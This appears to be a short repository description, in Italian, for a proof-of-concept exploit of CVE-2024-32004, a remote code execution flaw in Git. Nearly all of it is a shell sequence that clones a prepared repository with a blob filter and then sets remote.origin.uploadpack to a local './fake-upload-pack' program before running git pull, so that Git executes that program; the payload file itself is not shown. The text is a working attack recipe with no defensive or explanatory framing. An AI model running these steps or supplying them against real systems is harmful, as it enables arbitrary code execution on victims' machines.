wadewfsssss/cve-2024-32004Exploit proof-of-concept per CVE-2024-32004, una vulnerabilità di esecuzione remota di codice in Git, che dimostra lo sfruttamento tramite un filtro upload-pack dannoso.
git init tmp
git -C tmp config uploadpack.allowfilter 1
git clone --filter=blob:none --no-local --no-checkout tmp evil
rm -rf tmp
git -C evil config remote.origin.uploadpack "./fake-upload-pack"
git pull
